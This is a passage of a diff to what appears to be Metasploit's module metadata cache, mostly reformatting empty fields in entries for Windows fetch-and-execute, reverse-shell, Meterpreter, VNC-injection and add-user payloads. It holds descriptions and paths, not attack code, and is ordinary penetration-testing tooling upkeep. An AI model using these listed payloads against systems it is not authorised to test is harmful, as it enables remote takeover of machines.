8, @@ -220562,9 +224064,7 @@ "payload_cmd/windows/https/x64/meterpreter/reverse_winhttps": { "name": "HTTPS Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220592,8 +224092,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220606,9 +224105,7 @@ "payload_cmd/windows/https/x64/meterpreter_bind_named_pipe": { "name": "HTTPS Fetch, Windows Meterpreter Shell, Bind Named Pipe Inline (x64)", "fullname": "payload/cmd/windows/https/x64/meterpreter_bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220636,8 +224133,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220648,9 +224144,7 @@ "payload_cmd/windows/https/x64/meterpreter_bind_tcp": { "name": "HTTPS Fetch, Windows Meterpreter Shell, Bind TCP Inline (x64)", "fullname": "payload/cmd/windows/https/x64/meterpreter_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220677,8 +224171,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220689,9 +224182,7 @@ "payload_cmd/windows/https/x64/meterpreter_reverse_http": { "name": "HTTPS Fetch, Windows Meterpreter Shell, Reverse HTTP Inline (x64)", "fullname": "payload/cmd/windows/https/x64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220718,8 +224209,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220730,9 +224220,7 @@ "payload_cmd/windows/https/x64/meterpreter_reverse_https": { "name": "HTTPS Fetch, Windows Meterpreter Shell, Reverse HTTPS Inline (x64)", "fullname": "payload/cmd/windows/https/x64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220759,8 +224247,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220771,9 +224258,7 @@ "payload_cmd/windows/https/x64/meterpreter_reverse_ipv6_tcp": { "name": "HTTPS Fetch, Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)", "fullname": "payload/cmd/windows/https/x64/meterpreter_reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220800,8 +224285,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220812,9 +224296,7 @@ "payload_cmd/windows/https/x64/meterpreter_reverse_tcp": { "name": "HTTPS Fetch, Windows Meterpreter Shell, Reverse TCP Inline x64", "fullname": "payload/cmd/windows/https/x64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220841,8 +224323,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220853,9 +224334,7 @@ "payload_cmd/windows/https/x64/peinject/bind_ipv6_tcp": { "name": "HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/https/x64/peinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220881,8 +224360,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220895,9 +224373,7 @@ "payload_cmd/windows/https/x64/peinject/bind_ipv6_tcp_uuid": { "name": "HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/https/x64/peinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220924,8 +224400,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220938,9 +224413,7 @@ "payload_cmd/windows/https/x64/peinject/bind_named_pipe": { "name": "HTTPS Fetch, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/https/x64/peinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -220966,8 +224439,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -220980,9 +224452,7 @@ "payload_cmd/windows/https/x64/peinject/bind_tcp": { "name": "HTTPS Fetch, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/https/x64/peinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221008,8 +224478,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221022,9 +224491,7 @@ "payload_cmd/windows/https/x64/peinject/bind_tcp_rc4": { "name": "HTTPS Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/https/x64/peinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221055,8 +224522,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221069,9 +224535,7 @@ "payload_cmd/windows/https/x64/peinject/bind_tcp_uuid": { "name": "HTTPS Fetch, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/https/x64/peinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221098,8 +224562,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221112,9 +224575,7 @@ "payload_cmd/windows/https/x64/peinject/reverse_named_pipe": { "name": "HTTPS Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/https/x64/peinject/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221140,8 +224601,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221154,9 +224614,7 @@ "payload_cmd/windows/https/x64/peinject/reverse_tcp": { "name": "HTTPS Fetch, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/https/x64/peinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221182,8 +224640,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221196,9 +224653,7 @@ "payload_cmd/windows/https/x64/peinject/reverse_tcp_rc4": { "name": "HTTPS Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/https/x64/peinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221229,8 +224684,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221243,9 +224697,7 @@ "payload_cmd/windows/https/x64/peinject/reverse_tcp_uuid": { "name": "HTTPS Fetch, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/https/x64/peinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221272,8 +224724,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221286,9 +224737,7 @@ "payload_cmd/windows/https/x64/pingback_reverse_tcp": { "name": "HTTPS Fetch, Windows x64 Pingback, Reverse TCP Inline", "fullname": "payload/cmd/windows/https/x64/pingback_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221297,9 +224746,7 @@ "bwatters-r7" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to attacker and report UUID (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -221313,8 +224760,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221325,9 +224771,7 @@ "payload_cmd/windows/https/x64/powershell_bind_tcp": { "name": "HTTPS Fetch", "fullname": "payload/cmd/windows/https/x64/powershell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221354,8 +224798,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221366,9 +224809,7 @@ "payload_cmd/windows/https/x64/powershell_reverse_tcp": { "name": "HTTPS Fetch", "fullname": "payload/cmd/windows/https/x64/powershell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221395,8 +224836,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221407,9 +224847,7 @@ "payload_cmd/windows/https/x64/powershell_reverse_tcp_ssl": { "name": "HTTPS Fetch", "fullname": "payload/cmd/windows/https/x64/powershell_reverse_tcp_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221436,8 +224874,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221448,9 +224885,7 @@ "payload_cmd/windows/https/x64/shell/bind_ipv6_tcp": { "name": "HTTPS Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/https/x64/shell/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221459,9 +224894,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -221475,8 +224908,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221489,9 +224921,7 @@ "payload_cmd/windows/https/x64/shell/bind_ipv6_tcp_uuid": { "name": "HTTPS Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/https/x64/shell/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221501,9 +224931,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -221517,8 +224945,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221531,9 +224958,7 @@ "payload_cmd/windows/https/x64/shell/bind_named_pipe": { "name": "HTTPS Fetch, Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/https/x64/shell/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221543,9 +224968,7 @@ "UserExistsError" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a pipe connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -221559,8 +224982,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221573,9 +224995,7 @@ "payload_cmd/windows/https/x64/shell/bind_tcp": { "name": "HTTPS Fetch, Windows x64 Command Shell, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/https/x64/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221584,9 +225004,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -221600,8 +225018,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221614,9 +225031,7 @@ "payload_cmd/windows/https/x64/shell/bind_tcp_rc4": { "name": "HTTPS Fetch, Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/https/x64/shell/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221630,9 +225045,7 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -221646,8 +225059,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221660,9 +225072,7 @@ "payload_cmd/windows/https/x64/shell/bind_tcp_uuid": { "name": "HTTPS Fetch, Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/https/x64/shell/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221672,9 +225082,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -221688,8 +225096,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221702,9 +225109,7 @@ "payload_cmd/windows/https/x64/shell/reverse_tcp": { "name": "HTTPS Fetch, Windows x64 Command Shell, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/https/x64/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221713,9 +225118,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -221729,8 +225132,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221743,9 +225145,7 @@ "payload_cmd/windows/https/x64/shell/reverse_tcp_rc4": { "name": "HTTPS Fetch, Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/https/x64/shell/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221759,9 +225159,7 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -221775,8 +225173,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221789,9 +225186,7 @@ "payload_cmd/windows/https/x64/shell/reverse_tcp_uuid": { "name": "HTTPS Fetch, Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/https/x64/shell/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221801,9 +225196,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -221817,8 +225210,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221831,9 +225223,7 @@ "payload_cmd/windows/https/x64/shell_bind_tcp": { "name": "HTTPS Fetch, Windows x64 Command Shell, Bind TCP Inline", "fullname": "payload/cmd/windows/https/x64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221842,9 +225232,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nListen for a connection and spawn a command shell (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -221858,8 +225246,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221870,9 +225257,7 @@ "payload_cmd/windows/https/x64/shell_reverse_tcp": { "name": "HTTPS Fetch, Windows x64 Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/windows/https/x64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221881,9 +225266,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to attacker and spawn a command shell (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -221897,8 +225280,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221909,9 +225291,7 @@ "payload_cmd/windows/https/x64/vncinject/bind_ipv6_tcp": { "name": "HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/https/x64/vncinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221937,8 +225317,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221951,9 +225330,7 @@ "payload_cmd/windows/https/x64/vncinject/bind_ipv6_tcp_uuid": { "name": "HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/https/x64/vncinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -221980,8 +225357,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -221994,9 +225370,7 @@ "payload_cmd/windows/https/x64/vncinject/bind_named_pipe": { "name": "HTTPS Fetch, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/https/x64/vncinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222023,8 +225397,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222037,9 +225410,7 @@ "payload_cmd/windows/https/x64/vncinject/bind_tcp": { "name": "HTTPS Fetch, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/https/x64/vncinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222065,8 +225436,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222079,9 +225449,7 @@ "payload_cmd/windows/https/x64/vncinject/bind_tcp_rc4": { "name": "HTTPS Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/https/x64/vncinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222112,8 +225480,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222126,9 +225493,7 @@ "payload_cmd/windows/https/x64/vncinject/bind_tcp_uuid": { "name": "HTTPS Fetch, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/https/x64/vncinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222155,8 +225520,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222169,9 +225533,7 @@ "payload_cmd/windows/https/x64/vncinject/reverse_http": { "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/https/x64/vncinject/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222198,8 +225560,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222212,9 +225573,7 @@ "payload_cmd/windows/https/x64/vncinject/reverse_https": { "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/https/x64/vncinject/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222243,8 +225602,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222257,9 +225615,7 @@ "payload_cmd/windows/https/x64/vncinject/reverse_tcp": { "name": "HTTPS Fetch, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/https/x64/vncinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222285,8 +225641,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222299,9 +225654,7 @@ "payload_cmd/windows/https/x64/vncinject/reverse_tcp_rc4": { "name": "HTTPS Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/https/x64/vncinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222332,8 +225685,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222346,9 +225698,7 @@ "payload_cmd/windows/https/x64/vncinject/reverse_tcp_uuid": { "name": "HTTPS Fetch, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/https/x64/vncinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222375,8 +225725,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222389,9 +225738,7 @@ "payload_cmd/windows/https/x64/vncinject/reverse_winhttp": { "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/https/x64/vncinject/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222418,8 +225765,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222432,9 +225778,7 @@ "payload_cmd/windows/https/x64/vncinject/reverse_winhttps": { "name": "HTTPS Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/https/x64/vncinject/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222461,8 +225805,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222475,9 +225818,7 @@ "payload_cmd/windows/jjs_reverse_tcp": { "name": "Windows Shell, Reverse TCP (via jjs)", "fullname": "payload/cmd/windows/jjs_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222497,15 +225838,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/windows/jjs_reverse_tcp.rb", "is_install_path": true, "ref_name": "cmd/windows/jjs_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -222514,9 +225854,7 @@ "payload_cmd/windows/powershell/adduser": { "name": "Powershell Exec", "fullname": "payload/cmd/windows/powershell/adduser", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222528,9 +225866,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -222544,8 +225880,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222556,9 +225891,7 @@ "payload_cmd/windows/powershell/custom/bind_hidden_ipknock_tcp": { "name": "Powershell Exec, Windows shellcode stage, Hidden Bind Ipknock TCP Stager", "fullname": "payload/cmd/windows/powershell/custom/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222587,8 +225920,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222601,9 +225933,7 @@ "payload_cmd/windows/powershell/custom/bind_hidden_tcp": { "name": "Powershell Exec, Windows shellcode stage, Hidden Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/custom/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222632,8 +225962,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222646,9 +225975,7 @@ "payload_cmd/windows/powershell/custom/bind_ipv6_tcp": { "name": "Powershell Exec, Windows shellcode stage, Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/custom/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222660,9 +225987,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -222676,8 +226001,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222690,9 +226014,7 @@ "payload_cmd/windows/powershell/custom/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Windows shellcode stage, Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/custom/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222705,9 +226027,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -222721,8 +226041,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222735,9 +226054,7 @@ "payload_cmd/windows/powershell/custom/bind_named_pipe": { "name": "Powershell Exec, Windows shellcode stage, Windows x86 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/powershell/custom/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222747,9 +226064,7 @@ "UserExistsError" ], "description": "Execute an x86 payload from a command via 